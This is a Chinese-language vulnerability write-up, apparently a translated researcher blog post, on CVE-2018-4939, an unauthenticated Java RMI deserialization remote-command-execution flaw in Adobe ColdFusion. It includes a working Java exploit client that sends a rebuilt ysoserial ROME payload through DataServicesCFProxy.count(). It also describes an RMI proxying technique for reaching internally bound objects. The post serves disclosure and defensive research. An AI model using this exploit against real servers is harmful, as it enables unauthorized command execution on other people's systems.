ADOBE ColdFusion Java RMI 反序列化 RCE 漏洞详情(CVE-2018-4939)

前言

2017年10月我发布了一个Java RMI/反序列化漏洞的概述和PoC视频,该漏洞影响了AdobeColdFusion的Flex集成服务。我推迟发布所有细节和利用方法,因为发现了一个额外的可用于修复服务器的payload。

Adobe现在已经发布了进一步的安全更新,可以点击链接了解更多详细信息。

 

RMI和java.lang.Object

Java远程方法调用(RMI)协议几乎是100% Java序列化。当从RMI注册表服务请求一个对象并在该对象上调用方法时,通过网络传输的数据采用Java序列化格式。ColdFusion的Flex集成RMI服务公开了以下类的一个对象:

coldfusion.flex.rmi.DataServicesCFProxy

这个类可以在ColdFusion Installation目录中的“libs/cfusion.jar”文件中找到,如下所示:

package coldfusion.flex.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;

public abstract interface DataServicesCFProxy extends Remote
{
  public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
  public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
  public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
  public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
  public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}

这些方法中的每一个都可以用任何Java对象作为参数来调用。请注意,诸如List和Map之类的容器可以包含任何Java对象。与此RMI服务交互不需要身份验证,因此任何可以通过网络访问该服务的人都可以向该服务提供任意Java对象,以试图利用Java反序列化攻击(例如,通过ysoserial payload作为参数)。

不幸的是,没有一个ysoserial payload起作用。

在我上一篇关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中谈到了我是如何修改了一个payload来成功利用这个入口并使用Mozilla Rhino JavaScript库获得远程命令执行的。在本例中使用技术和入口保持不变,但是我们针对的是与ColdFusion捆绑在一起的ROME库(请参见“libs/rome-cf.jar”)。

 

利用-简单的方法

下面是一个简单的RMI客户端程序,它从RMI注册表服务中检索ColdFusion DataServicesCFProxy对象,然后使用NULL参数调用RemoteCount()方法:

package nb.barmie.demo;

import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIDemo {
  public static void main(String[] args) throws Exception {
    Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
    DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
    obj.count(null, null, null);
  }
}

count()方法的第二个参数是java.lang.Object数组,这意味着我们可以在该参数中提供任意对象,它们将在服务器上反序列化。我们可以在运行时使用索引库来生成任意的payload对象,并将其传递给count()方法,但是,索引库的payload与ColdFusion捆绑在一起的ROME版本是不兼容的。如果我们尝试这样做,服务器将显示服务端类与通过网络发送的序列化对象不兼容。这是因为serialVersionUID字段不匹配,类似于我之前描述的针对Mozilla Rhino的攻击。

在2018年4月更新之前,利用ColdFusionRMI服务的最简单方法是重新构建ysoserial。与其针对ROME 1.0(Maven依赖项)构建ysoserial,不如在ColdFusion Installation目录中的“libs/rome-cf.jar”上构建它。这样就可以使用以下代码生成和注入payload了:

package nb.barmie.exploit.standalone;

import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class CFRMIExploit {
  public static void main(String[] args) throws Exception {
    Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
    DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
    obj.count(null, new Object[] {
      new ROME().getObject(args[2])
    }, null);
  }
}

使用以下参数运行:host, port, command。

 

利用-BaRMIe!

在RMI安全性方面做了大量工作之后,我选择在我的RMI枚举和攻击工具BaRMIe中实现一个漏洞。这是一个更复杂的利用,但也更强大。我将在不久的将来发布这个版本的漏洞,但现在我将为对它感兴趣的人解释它是如何工作的!

RMI背景知识

远程方法调用涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册服务,通常位于TCP端口1099,它本质上是一个目录服务,其中Java对象引用绑定到名称。下面代码的第4行连接到10.0.0.30:1099上的RMI注册表服务,并请求引用绑定到名称“foo”的对象:

public class RMIList {
  public static void main(String[] args) throws Exception {
    Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
    SomeClass obj = (SomeClass)reg.lookup("Foo");
  }
}

第二个网络服务用于与对象本身通信。当对象绑定到RMI注册表中的给定名称时,可以找到对象的主机和端口存储在注册表中。从RMI注册表中检索对象引用时,RMI注册表服务返回的数据包括对象的网络服务的主机和端口。下面代码中的第5行连接到RMI对象服务,并调用Method()方法:

public class RMIList {
  public static void main(String[] args) throws Exception {
    Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
    SomeClass obj = (SomeClass)reg.lookup("Foo");
    obj.someMethod("String Param");
  }
}

中间人攻击

在构建Barmie时,我希望尽可能多地使用payload,而不必与依赖项和多个依赖项版本作斗争。实现这一点的方法是使用硬编码的静态paylaod,并动态生成部分内容(例如,命令字符串和相应的长度字段)。问题是,无法在接收服务器将这些字节反序列化的情况下从RMI连接中本地抽取任意字节。为了实现这一点,我构建了一个代理框架,允许我在两个连接实现中间人攻击。它的工作如下:

  1. 启动RMI注册表代理,将连接转发到目标RMI注册表
  2. 使用RMI注册表代理的主机和端口调用LocateRegistry.getRegistry(),而不是RMI注册表服务的主机和端口
  3. 通过RMI注册表代理调用Registry.lookup()检索远程对象引用(将请求转发给真正的RMI注册表服务)
  4. 当RMI注册表代理检测到返回远程对象引用时:
    1. 它启动一个RMI方法代理,将连接转发到真正的RMI对象服务。
    2. 它将远程对象引用修改为指向新的RMI方法代理,而不是实际的RMI对象服务。
  5. 在远程对象引用上调用方法时,通过RMI代理连接。

通过代理进行远程方法调用,我可以完全控制协议,并且可以操作Java虚拟机本来会阻止我操作的东西。这方面的一个很好的例子是,我们无法向期望java.lang.String类型的参数的远程方法提供任意对象参数,但是,如果我们使用代理在网络级别修改出站远程方法调用,那么我们可以提供一个任意对象,服务器将反序列化它。

使用RMI方法代理,我们可以正常方式对远程方法发出调用,但使用占位符参数而不是payload对象。当方法代理检测到表示该占位符对象的字节时,它可以用表示任意反序列化payload的字节流替换这些字节。

完善payload

当我第一次在ColdFusion Installation目录中发现“libs/rome-cf.jar”文件时,我所做的第一件事就是在Barmie中创建一个利用RMI方法代理的漏洞,它使用一个RMI方法代理,根据来自 ysoserial的ROME payload注入两个payload。这两种方法都没有成功,但是服务器的响应表明本地类是不兼容的,并给了我服务器端类的SerialVersionUID。通过多次修改payload,使得序列化VersionUID值与服务器上的值匹配,我再次实现了针对ColdFusion的远程命令执行。

Bonus:攻击“内部”服务

考虑到我上面详述的容易利用的特性,所有这些代理看起来都很费劲,但实际上Barmie中已经有了支持功能,所以开发这个漏洞只花了半个小时。

除了我之前提到的控制在Java虚拟机的限制之外的东西之外,还有一个额外的好处,但这一点绝对值得再提一次。许多“内部”RMI服务实际上并不是内部的。你可以将对象绑定到RMI注册中心,并且给人的印象是它们被绑定到例如127.0.0.1或10.0.0.30,甚至你自己的主机。如果外部攻击者使用上述简单攻击来检索对这些对象的引用,则它们将无法攻击RMI服务,因为它们无法访问这些内部地址。

但是,默认情况下,RMI对象服务绑定到所有网络接口。假设目标的外部地址为8.8.8.9,RMI注册表返回指向目标内部地址10.8.8.9:30001的对象引用。默认情况下,可以通过连接到外部地址上的相同端口(8.8.8.9:30001)访问同一个对象。通过代理RMI注册表连接,我们可以检测到这一点,并自动修改RMI连接,以启用对似乎在内部绑定的对象的攻击。

 

引用

审核人:yiwang   编辑:边边

(完)